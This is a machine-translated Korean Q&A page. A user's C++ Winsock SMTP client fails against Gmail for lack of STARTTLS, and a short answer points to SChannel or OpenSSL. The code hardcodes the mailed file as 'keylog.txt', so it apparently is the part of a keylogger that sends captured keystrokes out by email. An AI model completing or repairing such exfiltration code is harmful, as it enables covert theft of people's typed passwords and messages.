2013-10-14 2 views
0

보고서가 첨부 된 메일 또는 메시지 본문으로 메일을 보내야합니다. 이제는 이것이 많이 논의 된 것을 알았지 만, 단 하나의 해결책을 찾지 못했습니다.메일을 보낼 수 없습니다. C++

여기에서 시작 : 내가 메일을 보내 부분에 도달 할 때까지

#define WIN32_LEAN_AND_MEAN 

#include <stdio.h> 
#include <stdlib.h> 
#include <fstream> 
#include <iostream> 
#include <windows.h> 
#include <winsock2.h> 
using namespace std; 

#pragma comment(lib, "ws2_32.lib") 

// Insist on at least Winsock v1.1 
const int VERSION_MAJOR = 1; 
const int VERSION_MINOR = 1; 

#define CRLF "\r\n"     // carriage-return/line feed pair 

void ShowUsage(void) 
{ 
    cout << "Usage: SENDMAIL mailserv to_addr from_addr messagefile" << endl 
     << "Example: SENDMAIL smtp.myisp.com [email protected] [email protected] message.txt" << endl; 

    exit(1); 
} 

// Basic error checking for send() and recv() functions 
void Check(int iStatus, char *szFunction) 
{ 
    if((iStatus != SOCKET_ERROR) && (iStatus)) 
    return; 

    cerr << "Error during call to " << szFunction << ": " << iStatus << " - " << GetLastError() << endl; 
} 

int main(int argc, char *argv[]) 
{ 
    int   iProtocolPort  = 0; 
    char  szSmtpServerName[64] = ""; 
    char  szToAddr[64]   = ""; 
    char  szFromAddr[64]  = ""; 
    char  szBuffer[4096]  = ""; 
    char  szLine[255]   = ""; 
    char  szMsgLine[255]  = ""; 
    SOCKET  hServer; 
    WSADATA  WSData; 
    LPHOSTENT lpHostEntry; 
    LPSERVENT lpServEntry; 
    SOCKADDR_IN SockAddr; 

    // Check for four command-line args 
    if(argc != 7) 
    ShowUsage(); 

    // Load command-line args 
    strcpy(szSmtpServerName, argv[2]); 
    strcpy(szToAddr, argv[3]); 
    strcpy(szFromAddr, argv[4]); 

    // Create input stream for reading email message file 
    ifstream MsgFile("E:\New folder\keylog.txt"); 

    // Attempt to intialize WinSock (1.1 or later) 
    if(WSAStartup(MAKEWORD(VERSION_MAJOR, VERSION_MINOR), &WSData)) 
    { 
    cout << "Cannot find Winsock v" << VERSION_MAJOR << "." << VERSION_MINOR << " or later!" << endl; 

    return 1; 
    } 

    // Lookup email server's IP address. 
    lpHostEntry = gethostbyname(szSmtpServerName); 
    if(!lpHostEntry) 
    { 
    cout << "Cannot find SMTP mail server " << szSmtpServerName << endl; 

    return 1; 
    } 

    // Create a TCP/IP socket, no specific protocol 
    hServer = socket(PF_INET, SOCK_STREAM, 0); 
    if(hServer == INVALID_SOCKET) 
    { 
    cout << "Cannot open mail server socket" << endl; 

    return 1; 
    } 

    // Get the mail service port 
    lpServEntry = getservbyname("mail", 0); 

    // Use the SMTP default port if no other port is specified 
    if(!lpServEntry) 
    iProtocolPort = htons(IPPORT_SMTP); 
    else 
    iProtocolPort = lpServEntry->s_port; 

    // Setup a Socket Address structure 
    SockAddr.sin_family = AF_INET; 
    SockAddr.sin_port = iProtocolPort; 
    SockAddr.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list); 

    // Connect the Socket 
    if(connect(hServer, (PSOCKADDR) &SockAddr, sizeof(SockAddr))) 
    { 
    cout << GetLastError() << endl; 
    cout << "Error connecting to Server socket" << endl; 

    return 1; 
    } 

    // Receive initial response from SMTP server 
    Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() Reply"); 

    // Send HELO server.com 
    sprintf(szMsgLine, "HELO %s%s", szSmtpServerName, CRLF); 
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() HELO"); 
    Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() HELO"); 

    // Send MAIL FROM: <[email protected]> 
    sprintf(szMsgLine, "MAIL FROM:<%s>%s", szFromAddr, CRLF); 
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() MAIL FROM"); 
    Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() MAIL FROM"); 

    // Send RCPT TO: <[email protected]> 
    sprintf(szMsgLine, "RCPT TO:<%s>%s", szToAddr, CRLF); 
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() RCPT TO"); 
    Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() RCPT TO"); 

    // Send DATA 
    sprintf(szMsgLine, "DATA%s", CRLF); 
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() DATA"); 
    Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() DATA"); 

    // Send all lines of message body (using supplied text file) 
    MsgFile.getline(szLine, sizeof(szLine));    // Get first line 

    do   // for each line of message text... 
    { 
    sprintf(szMsgLine, "%s%s", szLine, CRLF); 
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() message-line"); 
    MsgFile.getline(szLine, sizeof(szLine)); // get next line. 
    } while(MsgFile.good()); 

    // Send blank line and a period 
    sprintf(szMsgLine, "%s.%s", CRLF, CRLF); 
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() end-message"); 
    Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() end-message"); 

    // Send QUIT 
    sprintf(szMsgLine, "QUIT%s", CRLF); 
    Check(send(hServer, szMsgLine, strlen(szMsgLine), 0), "send() QUIT"); 
    Check(recv(hServer, szBuffer, sizeof(szBuffer), 0), "recv() QUIT"); 

    // Report message has been sent 
    cout << "Sent " << argv[4] << " as email message to " << szToAddr << endl; 

    // Close server socket and prepare to exit. 
    closesocket(hServer); 

    WSACleanup(); 

    return 0; 
} 

모든 것이 잘 작동, 서버는 "먼저 STARTTLS 명령을 실행해야합니다"로 응답합니다. 자, 나는 그것에 대해 읽었지 만, 나는 혼자 해결책을 찾을 수 없었습니다.

나는 smtp.gmail.com에 연결 중입니다. 이제 누군가가 기본 SMTP 프로토콜을 지원하는 또 다른 smtp 서버에이 코드로 작업하게하거나 누군가이 ESMTP 프로토콜로 작업하여 코드 예제를 제공하길 원합니다.

답변

0

대부분의 공용 SMTP 서버는 요즘 암호화가 필요할 것입니다. 자체 SMTP 서버를 설정하거나 SSL 서버가 필요없는 공급자를 찾거나 SSL/TLS를 처리하도록 코드를 수정할 수 있습니다. STARTTLS 명령을 실행 한 다음 핸드 셰이크 프로세스를 시작하여 SSL/TLS를 수행 할 수 있습니다. 도움이되는 몇 가지 기본 Windows 라이브러리 (예 : SChannel)가 있거나 OpenSSL과 같은 교차 플랫폼 라이브러리를 활용할 수 있습니다. 많은 예제가 있습니다.

관련 문제